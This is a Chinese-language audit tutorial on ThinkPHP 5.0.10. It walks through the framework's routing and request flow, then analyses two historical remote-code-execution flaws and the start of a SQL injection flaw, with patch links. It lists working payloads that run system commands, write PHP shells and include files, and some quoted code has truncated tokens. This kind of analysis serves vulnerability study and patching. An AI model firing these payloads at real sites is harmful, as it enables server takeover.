ThinkPHP v5.0.10代码审计

## 前言

ThinkPHP 是国内著名的 php开发框架,基于MVC模式,最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。

ThinkPHP5.0版本是一个颠覆和重构版本,采用全新的架构思想,引入了更多的PHP新特性,优化了核心,减少了依赖,实现了真正的惰性加载,支持composer,并针对API开发做了大量的优化,包括路由、日志、异常、模型、数据库、模板引擎和验证等模块都已经重构。

ThinkPHP5下载:

https://www.thinkphp.cn/down.html

本文用到的是ThinkPHP5.0.10完整版
https://www.thinkphp.cn/donate/download/id/1015.html

ThinkPHP操作手册:

https://www.kancloud.cn/thinkphp/thinkphp5_quickstart     #快速开始
https://www.kancloud.cn/manual/thinkphp5                  #完全开发手册

目前,仍然有非常多网站以ThinkPHP5为框架开发。本文我们的目的是熟悉TP5框架,分析与复现历史漏洞,这里我们选择的版本是ThinkPHP5.0.10完整版。

ThinkPHP5的运行环境要求PHP5.4以上。

ThinkPHP5基础

目录结构

初始的目录结构

如下:

www  WEB部署目录(或者子目录)
├─application           应用目录
│  ├─common             公共模块目录(可以更改)
│  ├─module_name        模块目录
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  │
│  ├─command.php        命令行工具配置文件
│  ├─common.php         公共函数文件
│  ├─config.php         公共配置文件
│  ├─route.php          路由配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─database.php       数据库配置文件
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─thinkphp              框架系统目录
│  ├─lang               语言文件目录
│  ├─library            框架类库目录
│  │  ├─think           Think类库包目录
│  │  └─traits          系统Trait目录
│  │
│  ├─tpl                系统模板目录
│  ├─base.php           基础定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     框架惯例配置文件
│  ├─helper.php         助手函数文件
│  ├─phpunit.xml        phpunit配置文件
│  └─start.php          框架入口文件
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                第三方类库目录(Composer依赖库)
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

入口文件:

ThinkPHP5.0版本的默认自带的入口文件位于public/index.php实际部署的时候public目录为你的应用对外访问目录),入口文件内容如下:

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

这段代码的作用就是定义应用目录APP_PATH和加载ThinkPHP框架的入口文件,这是所有基于ThinkPHP开发应用的第一步。

官方提供的默认应用的实际目录结构和说明如下:

├─application           应用目录(可设置)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块公共文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  └─view            视图目录
│  │
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共文件
│  ├─config.php         应用配置文件
│  ├─tags.php           应用行为扩展定义文件
│  ├─database.php       数据库配置文件
│  └─route.php          路由配置文件

5.0版本采用模块化的设计架构,默认的应用目录下面只有一个index模块目录。

静态资源文件:

网站的资源文件一般放入public目录的子目录下面,例如

public
├─index.php       应用入口文件
├─static				静态资源目录   
│  ├─css      样式目录
│  ├─js         脚本目录
│  └─img      图像目录

调试模式:

应用配置文件(application/config.php)中的app_debug配置参数:

// 关闭调试模式
'app_debug' =>  false,

配置文件

在ThinkPHP中,一般来说应用的配置文件是自动加载的,加载的顺序是:

惯例配置->应用配置->扩展配置->场景配置->模块配置->动态配置

以上是配置文件的加载顺序,因为后面的配置会覆盖之前的同名配置(在没有生效的前提下),所以配置的优先顺序从右到左。

惯例配置:位于thinkphp/convention.php

应用配置:位于application/config.php

扩展配置:V5.0.1开始,取消了该配置参数,扩展配置文件直接放入application/extra目录会自动加载。

场景配置:每个应用都可以在不同的情况下设置自己的状态(或者称之为应用场景),并且加载不同的配置文件。

模块配置:位于application/当前模块名/config.php

控制器

根据类的命名空间可以快速定位文件位置,在ThinkPHP5.0的规范里面,命名空间其实对应了文件的所在目录,app命名空间通常代表了文件的起始目录为application,而think命名空间则代表了文件的起始目录为thinkphp/library/think,后面的命名空间则表示从起始目录开始的子目录。

我们找到index模块的Index控制器(文件位于application/index/controller/Index.php 注意大小写),我们把Index控制器类的index方法修改为Hello,World!

image-20220315170340135

image-20220315170404588

如果要访问一个驼峰命名的控制器,例如我们把上面的例子改成一个HelloWorld控制器。

image-20220315170648166

默认情况下正确的方法是使用下面的URL进行访问

http://serverName/index.php/index/hello_world

下面的访问地址是错误的

http://serverName/index.php/index/HelloWorld

image-20220315170800919

因为默认的URL访问是不区分大小写的,全部都会转换为小写的控制器名,除非你在应用配置文件中,设置了关闭url自动转换如下:

'url_convert' => false,

image-20220315171017913

一般来说,ThinkPHP的控制器是一个类,而操作则是控制器类的一个公共方法。控制器类可以包括多个操作方法,但如果你的操作方法是protected或者private类型的话,是无法直接通过URL访问到该操作的,也就是说只有public类型的操作方法才是可以通过URL访问的。

例如:

<?phpnamespace app\index\controller;class Index{    public function hello()    {        return 'hello,thinkphp!';    }    public function test()    {        return '这是一个测试方法!';    }    protected function hello2()    {        return '只是protected方法!';    }    private function hello3()    {        return '这是private方法!';    }}

当我们访问如下URL地址的时候,前面两个是正常访问,后面两个则会显示异常。

http://serverName/index.php/index/index/hellohttp://serverName/index.php/index/index/testhttp://serverName/index.php/index/index/hello2http://serverName/index.php/index/index/hello3

视图

现在我们在给控制器添加视图文件功能,我们在application/index目录下面创建一个view目录,然后添加模板文件view/index/hello.html(注意大小写),我们添加模板内容如下:

<html><head><title>hello {$name}</title></head><body>    hello, {$name}!</body></html>

要输出视图,必须在控制器方法中进行模板渲染输出操作,现在修改控制器类如下:

<?phpnamespace app\index\controller;use think\Controller;class Index extends Controller{    public function hello($name = 'thinkphp')    {        $this->assign('name', $name);        return $this->fetch();    }}

Index控制器类继承了 think\Controller类之后,我们可以直接使用封装好的assignfetch方法进行模板变量赋值和渲染输出。

fetch方法中我们没有指定任何模板,所以按照系统默认的规则(视图目录/控制器/操作方法)输出了view/index/hello.html模板文件。

接下来,我们在浏览器访问

http://serverName/index.php/index/index/hello

image-20220316094748822

URL&路由

URL访问

一个标准的URL访问格式(pathinfo模式):

http://domainName/index.php/模块/控制器/操作/[参数名/参数值...]

其中index.php就称之为应用的入口文件(入口文件可以被隐藏,参考)。

模块在ThinkPHP中的概念其实就是应用目录下面的子目录,而官方的规范是目录名小写,因此模块全部采用小写命名,无论URL是否开启大小写转换,模块名都会强制小写。

如果你的控制器是驼峰的,例如定义一个HelloWorld控制器(application/index/controller/HelloWorld.php),正确的URL访问地址(该地址可以使用url方法生成)应该是:

http://servername/index.php/index/hello_world/index

image-20220316103112158

如果使用

http://servername/index.php/index/HelloWorld/index

将会报错,并提示Helloworld控制器类不存在。

如果希望严格区分大小写访问(这样就可以支持驼峰法进行控制器访问),可以在应用配置文件中设置:

// 关闭URL自动转换(支持驼峰访问控制器)'url_convert' => false,

关闭URL自动转换之后,必须使用下面的URL地址访问(控制器名称必须严格使用控制器类的名称,不包含控制器后缀):

http://servername/index.php/index/HelloWorld/indexhttp://servername/index.php/index/hello_world/index

image-20220316104432480

如果你的服务器环境不支持pathinfo方式的URL访问,可以使用兼容方式,例如:

http://servername/index.php?s=/index/Index/index

其中变量s的名称的可以配置的。

5.0不再支持普通的URL访问方式,所以下面的访问是无效的,你会发现无论输入什么,访问的都是默认的控制器和操作_

http://servername/index.php?m=index&c=Index&a=hello

参数传入

上面我们使用了,如下方式传参

http://domainName/index.php/模块/控制器/操作/[参数名1/参数值1/参数名2/参数值2...]

除此之外,还可以使用

http://domainName/index.php/模块/控制器/操作?参数1=值1&参数2=值2...

image-20220316110034501

还可以进一步对URL地址做简化,前提就是我们必须明确参数的顺序代表的变量,我们更改下URL参数的获取方式,把应用配置文件中的url_param_type参数的值修改如下:

// 按照参数顺序获取'url_param_type' => 1,

现在,URL的参数传值方式就变成了严格按照操作方法的变量定义顺序来传值了,也就是说我们必须使用下面的URL地址访问才能正确传入namecity参数到hello方法:

http://servername/index.php/index/HelloWorld/index/thinkphp/shanghai

页面输出结果为:

Hello,thinkphp! You come from shanghai.

定义路由

我们可以通过在路由定义文件(application/route.php)里面添加一些路由规则,来简化URL访问

例如:

return [    // 添加路由规则 路由到 index控制器的hello操作方法    'hello/[:name]' => 'index/index/hello',];

该路由规则表示所有hello开头的并且带参数的访问都会路由到index控制器的hello操作方法。

路由之前的URL访问地址为:

http://servername/index/index/hello/name/thinkphp

定义路由后就只能访问下面的URL地址

http://servername/hello/thinkphp

注意


定义路由规则后,原来的URL地址将会失效,变成非法请求。

我们还可以约束路由规则的请求类型或者URL后缀之类的条件,例如:

return [    // 定义路由的请求类型和后缀    'hello/[:name]' => ['index/hello', ['method' => 'get', 'ext' => 'html']],];

上面定义的路由规则限制了必须是get请求,而且后缀必须是html的,所以下面的访问地址:

http://servername/hello // 无效http://servername/hello.html // 有效http://servername/hello/thinkphp // 无效http://servername/hello/thinkphp.html // 有效

数据库

ThinkPHP内置了抽象数据库访问层,把不同的数据库操作封装起来,我们只需要使用公共的Db类进行操作,而无需针对不同的数据库写不同的代码和底层实现,Db类会自动调用相应的数据库驱动来处理。采用PDO方式,目前包含了Mysql、SqlServer、PgSQL、Sqlite等数据库的支持。

数据库配置方式有很多,常用的配置方式是在应用目录或者模块目录下面的database.php中添加下面的配置参数:

return [    // 数据库类型    'type'            => 'mysql',    // 服务器地址    'hostname'        => '127.0.0.1',    // 数据库名    'database'        => 'thinkphp',    // 用户名    'username'        => 'root',    // 密码    'password'        => 'root',    // 端口    'hostport'        => '3306',    // 连接dsn    'dsn'             => '',    // 数据库连接参数    'params'          => [],    // 数据库编码默认采用utf8    'charset'         => 'utf8',    // 数据库表前缀    'prefix'          => '',    // 数据库调试模式    'debug'           => true,    // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)    'deploy'          => 0,    // 数据库读写是否分离 主从式有效    'rw_separate'     => false,    // 读写分离后 主服务器数量    'master_num'      => 1,    // 指定从服务器序号    'slave_no'        => '',    // 是否严格检查字段是否存在    'fields_strict'   => true,    // 数据集返回类型    'resultset_type'  => 'array',    // 自动写入时间戳字段    'auto_timestamp'  => false,    // 时间字段取出后的默认时间格式    'datetime_format' => 'Y-m-d H:i:s',    // 是否需要进行SQL性能分析    'sql_explain'     => false,];

配置了数据库连接信息后,我们就可以直接使用数据库运行原生SQL操作了,支持query(查询操作)和execute(写入操作)方法,并且支持参数绑定。

Db::query('select * from think_user where id=?',[8]);Db::execute('insert into think_user (id, name) values (?, ?)',[8,'thinkphp']);

也支持命名占位符绑定,例如:

Db::query('select * from think_user where id=:id',['id'=>8]);Db::execute('insert into think_user (id, name) values (:id, :name)',['id'=>8,'name'=>'thinkphp']);

可以使用多个数据库连接,使用

Db::connect($config)->query('select * from think_user where id=:id',['id'=>8]);

$config是一个单独的数据库配置,支持数组和字符串,也可以是一个数据库连接的配置参数名。

查询一个数据使用:

// table方法必须指定完整的数据表名Db::table('think_user')->where('id',1)->find();

查询数据集使用:

Db::table('think_user')->where('status',1)->select();

安全

SQL:

5.0版本的数据操作使用了PDO预处理机制及自动参数绑定功能

上传:

网站的上传功能也是一个非常容易被攻击的入口,所以对上传功能的安全检查是尤其必要的。

系统的think\File提供了文件上传的安全支持,包括对文件后缀、文件类型、文件大小以及上传图片文件的合法性检查,确保你已经在上传操作中启用了这些合法性检查

为了方便版本升级,并且保证public目录为唯一的web可访问目录,资源文件可以放到项目之外,例如项目目录为

/home/www/thinkphp/

那么资源目录、上传文件保存的目录

/home/www/resource//home/www/resource/upload/

命名空间

ThinkPHP5只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,那么就可以实现类的自动加载。

例如,\think\cache\driver\File类的定义为:

namespace think\cache\driver;class File{}

如果我们实例化该类的话,应该是:

$class = new \think\cache\driver\File();

系统会自动加载该类对应路径的类文件,其所在的路径是 thinkphp/library/think/cache/driver/File.php。

可是为什么路径是在thinkphp/library/think下呢?这就要涉及要另一个概念—根命名空间。

根命名空间是一个关键的概念,以上面的\think\cache\driver\File类为例,think就是一个根命名空间,其对应的初始命名空间目录就是系统的类库目录(thinkphp/library/think),我们可以简单的理解一个根命名空间对应了一个类库包。

系统内置的几个根命名空间(类库包)如下:

![img](ThinkPHP v5.0.10代码审计.assets/1554882467000-9a5460d8e8a1ef8fb7355b1109a3420a.png-w331s)

框架流程分析

我们先进入到默认的入口文件(public/index.php

// 定义应用目录define('APP_PATH', __DIR__ . '/../application/');// 加载框架引导文件require __DIR__ . '/../thinkphp/start.php';

引入start.php(框架引导文件)进入到里面看看有什么

进入框架引导文件(thinkphp/start.php)看到两行代码

// ThinkPHP 引导文件// 1. 加载基础文件require __DIR__ . '/base.php';// 2. 执行应用App::run()->send();

(1)基础文件(thinkphp/base.php)

在此文件首先看到全面大段的是定义常量或者是检查常量是否存在,主要是以下几点需要重点注意

  • 将Loader类引入
  • 注册自动加载机制
    • 注册系统自动加载,spl_autoload_register将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。此函数可以注册任意数量的自动加载器,当使用尚未被定义的类(class)和接口(interface)时自动去加载。通过注册自动加载器,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
    • Composer 自动加载支持
    • 注册命名空间定义:think=>thinkphp/library/think,behavior=>thinkphp/library/behavior,traits=>thinkphp/library/traits
    • 加载类库映射文件
    • 自动加载 extend 目录
  • 注册异常处理机制
  • 加载惯例配置

(2)执行应用(thinkphp/library/think/App.php)

首先返回一个request实例,将应用初始化返回配置信息。
之后进行如下的操作:

  • 查看是否存在模块控制器绑定
  • 对于request的实例根据设置的过滤规则进行过滤
  • 加载语言包
  • 监听app_dispatch
  • 进行URL路由检测(routecheck)
  • 记录当前调度信息,路由以及请求信息到日志中
  • 请求缓存检查并进行$data = self::exec($dispatch, $config);,根据$dispatch进行不同的调度,返回$data
  • 清除类的实例化
  • 输出数据到客户端,$response = $data;,返回一个Response类实例
  • 调用 Response->send() 方法将数据返回值客户端

URL路由解析动态调试分析

URL路由解析及页面输出工作可以分为5部分。

  1. 路由定义:完成路由规则的定义和参数设置
  2. 路由检测:检查当前的URL请求是否有匹配的路由
  3. 路由解析:解析当前路由实际对应的操作。
  4. 路由调度:执行路由解析的结果调度。
  5. 响应输出及应用结束:将路由调度的结果数据输出至页面并结束程序运行。

我们通过动态调试来分析,这样能清楚明了的看到程序处理的整个流程,由于在Thinkphp中,配置不同其运行流程也会不同,所以我们采用默认配置来进行分析,并且由于在程序运行过程中会出现很多与之无关的流程,我也会将其略过。

路由定义

通过配置route目录下的文件对路由进行定义,这里我们采取默认的路由定义,就是不做任何路由映射。

路由检测

这部分内容主要是对当前的URL请求进行路由匹配。在路由匹配前先会获取URL中的pathinfo,然后再进行匹配,但如果没有定义路由,则会把当前pathinfo当作默认路由。

首先我们设置好IDE环境,并在路由检测功能处下断点。

image-20220317170443315

然后我们请求Hello.php文件。【index模块hello控制器index方法】

http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/index/hello/index/name/world

image-20220317171633927

F7跟进routeCheck()方法

image-20220317173719901

进入path()方法

image-20220317174245847

继续跟进pathinfo()方法

image-20220317174348223

这里会根据不同的请求方式获取当前URL的pathinfo信息,这里我们的请求方式是pathinfo,直接通过$_SERVER(‘PATH_INFO’)去获取,获取之后会使用ltrim()函数对$pathinfo进行处理去掉左侧的’/’符号。Ps:如果以兼容模式请求,则会用$_GET方法获取。

ltrim — 删除字符串开头的空白字符(或其他字符)

image-20220317180529310

然后返回赋值给$path并将该值带入check()方法对URL路由进行检测

image-20220317181558108

image-20220317182306804

这里主要是对我们定义的路由规则进行匹配,但是我们是以默认配置来运行程序的,没有定义路由规则,所以跳过中间对于路由检测匹配的过程,直接来看默认路由解析过程,使用默认路由对其进行解析。

路由解析

接下来将会对路由地址进行了解析分割、验证、格式处理及赋值进而获取到相应的模块、控制器、操作名。

跟进parseUrl()方法:

image-20220318103705039

这里首先会进入parseUrlPath()方法,将路由进行解析分割。

image-20220318103849441

使用”/”进行分割,拿到 [模块/控制器/操作/参数/参数值]。

image-20220318105028920

紧接着使用array_shift()函数挨个从$path数组中取值对模块、控制器、操作进行赋值。

array_shift — 将数组开头的单元移出数组

image-20220318111127859

image-20220318111348075

接着使用parseUrlParams解析参数/参数值

image-20220318111833473

然后进行路由封装将赋值后的$module$controller$action存到route数组中

image-20220318112028477

赋值给$result变量,返回

image-20220318133758771image-20220318133804440

回到最开始的App类,赋值给$dispatch

image-20220318140508204

路由调度

这一部分将会对路由解析得到的结果(模块、控制器、操作)进行调度,得到数据结果。

image-20220318162146574

跟进exec

image-20220318162312918

继续跟进module执行模块:

image-20220318162740386

实例化请求,并进行模块绑定

image-20220318163109079

image-20220318163253739

加载控制器:

加载前,会先使用class_exists()函数检查Hello类是否定义过,这时程序会调用自动加载功能去查找该类并加载

image-20220318164358499

继续往下跟,调用index方法:

image-20220318164114897

支持参数绑定。获取请求参数:

这里调用了bindParams()方法对$var参数数组进行处理,获取了Hello反射类的绑定参数,获取到后将$args传入invokeArgs()方法,进行反射执行。

image-20220318164917821

然后程序就成功运行到了我们访问的文件

image-20220318164957356

运行之后返回数据结果,到这里路由调度的任务也就结束了,剩下的任务就是响应输出了,将得到数据结果输出到浏览器页面上。image-20220318165117120

响应输出及应用结束

这一小节会对之前得到的数据结果进行响应输出并在输出之后进行扫尾工作结束应用程序运行。在响应输出之前首先会构建好响应对象,将相关输出的内容存进Response对象,然后调用Response::send()方法将最终的应用返回的数据输出到页面。

image-20220318174035608

调用Response类中的create()方法去获取响应输出的相关数据,构建Response对象:

执行new static($data, $code, $header, $options);实例化自身Response类

image-20220318174916949

可以看到这里将输出内容、页面的输出类型、响应状态码等数据都传递给了Response类对象

image-20220318175044414

然后就开始调用Response类中send()方法,向浏览器页面输送数据。

image-20220318175310512

这里依次向浏览器发送了状态码、header头信息以及得到的内容结果。

image-20220318175400123

输出完毕后,跳到了appShutdown()方法,保存日志并结束了整个程序运行。

image-20220318175523727

漏洞分析

image-20220317153820789

image-20220324192728517

RCE1——类名解析导致任意类方法调用

概述

本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,从而调用invokefunction方法,最终导致 远程代码执行漏洞 的产生。

漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.225.1.0<=ThinkPHP<=5.1.30

不同版本 payload 需稍作调整:

5.1.x:

?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x:

?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞分析

这里以5.0.10版本的thinkphp来分析。

以这个POC为例:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20220321135431091

下面我们一步步跟一下这个攻击链。

断点还是下在App.php文件,调用routeCheck进行调度解析这里:

image-20220322142624470

监听,发送POC

跟进routeCheck

image-20220322142931877

继续跟进到path方法里面,然后这里有一个pathinfo()函数,继续跟进

image-20220322143011012

来看一下phpinfo()方法:

public function pathinfo(){    if (is_null($this->pathinfo)) {        if (isset($_GET[Config::get('var_pathinfo')])) {            // 判断URL里面是否有兼容模式参数            $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];            unset($_GET[Config::get('var_pathinfo')]);        } elseif (IS_CLI) {            // CLI模式下 index.php module/controller/action/params/...            $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] :         }        // 分析PATHINFO信息        if (!isset($_SERVER['PATH_INFO'])) {            foreach (Config::get('pathinfo_fetch') as $type) {                if (!empty($_SERVER[$type])) {                    $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], RVER['SCRIPT_NAME'])) ?                    substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : RVER[$type];                    break;                }            }        }        $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ($_SERVER['PATH_INFO'], '/');    }    return $this->pathinfo;}

Config::get('var_pathinfo')是配置文件中的设置的参数,默认值为s,怎么找到这个变量?可以全局搜索一下,可以搜索到其中一个配置文件里面有

image-20220322143526232

从GET中获取s参数的值,然后赋值给phpinfo变量返回,这里也就是index/think\app/invokefunction

image-20220322143205417

image-20220322144056105

最后赋值给routeCheck中的$path

image-20220322144218386

然后开始进入路由检测的部分,经过check的检查后会进入else的分支,但这一部分对于我们需要控制的变量没有任何影响,关键是$result以及$must这两个变量的赋值结果,这也是导致了后面操作的关键,可以进入Route::parseUrl函数

image-20220322144508377

image-20220322144700642

跟进parseUrl:

image-20220322145648403

再跟进一下parseUrlPath():

这里面就是返回一个$path变量,对包含模块/控制器/操作的URL进行分割成数组进行返回

image-20220322145730802

回到上一层的函数中,继续跟进,可以发现在自动搜索控制器的判断中进入了else语句,从而为控制器进行了赋值,这里是个赋值点,很关键

image-20220322150159105

然后以$route变量返回上层run函数:

image-20220322150310757

然后下面就执行到了exec方法:

image-20220322150605124

其中传入的$dispatch参数的内容如下:

image-20220322150529928

跟进exec

image-20220322151434516

然后进行module函数:

public static function module($result, $config, $convert = null){    if (is_string($result)) {        $result = explode('/', $result);    }    $request = Request::instance();    if ($config['app_multi_module']) {        // 多模块部署        $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));        $bind      = Route::getBind('module');        $available = false;        if ($bind) {            // 绑定模块            list($bindModule) = explode('/', $bind);            if (empty($result[0])) {                $module    = $bindModule;                $available = true;            } elseif ($module == $bindModule) {                $available = true;            }        } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . dule)) {            $available = true;        }        // 模块初始化        if ($module && $available) {            // 初始化模块            $request->module($module);            $config = self::init($module);            // 模块请求缓存检查            $request->cache($config['request_cache'], fig['request_cache_expire'], $config['request_cache_except']);        } else {            throw new HttpException(404, 'module not exists:' . $module);        }    } else {        // 单一模块部署        $module = '';        $request->module($module);    }    // 当前模块路径    App::$modulePath = APP_PATH . ($module ? $module . DS : '');    // 是否自动转换控制器和操作名    $convert = is_bool($convert) ? $convert : $config['url_convert'];    // 获取控制器名    $controller = strip_tags($result[1] ?: $config['default_controller']);    $controller = $convert ? strtolower($controller) : $controller;    // 获取操作名    $actionName = strip_tags($result[2] ?: $config['default_action']);    $actionName = $convert ? strtolower($actionName) : $actionName;    // 设置当前请求的控制器、操作    $request->controller(Loader::parseName($controller, 1))->action($actionName);    // 监听module_init    Hook::listen('module_init', $request);    $instance = Loader::controller($controller, $config['url_controller_layer'], fig['controller_suffix'], $config['empty_controller']);    if (is_null($instance)) {        throw new HttpException(404, 'controller not exists:' . er::parseName($controller, 1));    }    // 获取当前操作名    $action = $actionName . $config['action_suffix'];    $vars = [];    if (is_callable([$instance, $action])) {        // 执行操作方法        $call = [$instance, $action];    } elseif (is_callable([$instance, '_empty'])) {        // 空操作        $call = [$instance, '_empty'];        $vars = [$actionName];    } else {        // 操作不存在        throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . on . '()');    }    Hook::listen('action_begin', $call);    return self::invokeMethod($call, $vars);}

在进入多模块部署后由于,bind的值为null,会进入elseif的条件,使available的变量成为true,这也是后面为什么可以顺利初始化module的条件,不然就会抛出异常。

image-20220322154948167

继续跟进,controller变量就被赋值,然后获得方法名字,开始请求这个方法

image-20220322155444584

最后还是返回了这个方法

image-20220322155521038

跟进invokeMethod:

通过ReflectionMethod方法去构造一个映射,然后调用bindParams方法对其余参数进行解析

image-20220322161558725

跟进bindParams:

image-20220322161954755

返回$args。

然后就运行invokeArgs方法

image-20220322163434979

image-20220322162549311

跟进,会来到invokefunction函数,这个函数也类似回调函数,所以就会把&function=call_user_func_array&vars[0]=system&vars[1][]=whoami传进invokefunction这个方法里面。

image-20220322163742497

继续跟进的话,你会发现这个函数跟上面跟进的函数的套路一模一样,也是利用了回调的效果,也是利用一个变量把system后面的内容返回给call_user_func_array,只不过这次可以直接调用call_user_func_array了,相当于执行了call_user_func_array("system","whoami")

image-20220322164248181

最后成功RCE

image-20220322164750813

补丁

5.0.x补丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f5.1.x补丁地址:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

image-20220322172003026

补丁中加了正则限制了控制器的自定义初始化

RCE2——Request核心类变量覆盖

概述

Request核心类$method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST 。导致可以随意调用 Request 类的部分方法

过程:

让method等于 __construct魔术方法,然后里面的 foreach 函数造成变量覆盖。然后通过Request 类中的 param方法最终又调用了filterValue 方法,而该方法中就存在可利用的 call_user_func 函数,从而执行任意命令

Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数

POC:

来源于网络,未全部测试

ThinkPHP <= 5.0.13

POST /?s=index/indexs=whoami&_method=__construct&method=&filter[]=system

ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug

POST /_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

POST /?s=captcha HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

ThinkPHP 5.1.x

a=system&_method=filter&c=whoami

漏洞分析

这里以5.0.10版本的thinkphp来分析。

以这个POC为例:

POST  入口/?s=index_method=__construct&filter[]=system&method=get&get[]=whoami

断点还是下在App.php文件,调用routeCheck进行调度解析这里:

image-20220322142624470

监听,发送POC

跟进routeCheck

一直往下走,直到调用check方法进行路由检测

image-20220324205246785

跟进check方法

在843行调用$request->method()方法

image-20220324205516503

跟进method方法

public function method($method = false){    if (true === $method) {        // 获取原始请求类型        return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? ->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);    } elseif (!$this->method) {        if (isset($_POST[Config::get('var_method')])) {            $this->method = strtoupper($_POST[Config::get('var_method')]);            $this->{$this->method}($_POST);        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {            $this->method = upper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);        } else {            $this->method = IS_CLI ? 'GET' : ($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : RVER['REQUEST_METHOD']);        }    }    return $this->method;}

经过判断,我们会进入到elseif语句,可以看到有一个可以控制的函数名$_POST[Config::get['var_method'],而var_method的值在application/config.php里面为_method

image-20220324210542441

于是可以POST传入_method改变$this->{$this->method}($_POST);达到任意调用此类中的方法

而如果调用此类中的__construct方法(也就是我们的POC):

image-20220324211243275

来看一下__construct方法

protected function __construct($options = []){    foreach ($options as $name => $item) {        if (property_exists($this, $name)) {            $this->$name = $item;        }    }    if (is_null($this->filter)) {        $this->filter = Config::get('default_filter');    }    // 保存 php://input    $this->input = file_get_contents('php://input');}

有一个foreach,可以引起POST数据对Requests对象属性的变量覆盖

property_exists — 检查对象或类是否具有该属性

property_exists ( mixed$class , string $property ) : bool

动态跟踪一下可以看到各个属性被覆盖后的值:

image-20220324212346039

image-20220324212441356

image-20220324212514708

继续往下跟

在App::run()方法里面,如果我们开启了debug模式,则会调用Request::param()方法:

image-20220324213025050

当然,即使没有开启debug,在App::run()里面的调用的exec方法同样也会调用Request::param()方法

image-20220324213504740

这个方法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数

调用栈太深,就不一个个跟了

开启debug时的调用栈:

image-20220324214716370

关闭debug时的调用栈:image-20220324213822992

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

image-20220325152808773

然后filterValue方法中,调用了call_user_func造成任意命令执行

image-20220324214814188

image-20220324214930082

最后返回的需要进行一次过滤,不过大致查看能发现过滤字符基本为SQL注入的过滤,不是RCE的类型

image-20220325154001931

小节

不同的payload触发流程不一样,但是核心是一样的。

任意方法调用发生在method(),变量覆盖发生在__construct(),rce发生在filterValue()

img

补丁

官方的修复方法是:对请求方法 $method 进行白名单校验。

image-20220325155247337

SQL注入漏洞分析

ThinkPHP5的SQL注入漏洞主要有以下几类:

image-20220325162953159

漏洞分析均可在https://github.com/Mochazz/ThinkPHP-Vuln 找到。

这里以 parseWhereItem方法的SQL注入漏洞进行分析,其他不再展开。

SQL注入——Mysql 类的 parseWhereItem 方法

概述

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本

由于官方根本不认为这是一个漏洞,而认为这是他们提供的一个功能,所以官方并没有对这个问题进行修复。

漏洞环境

ThinkPHP 5.0.10

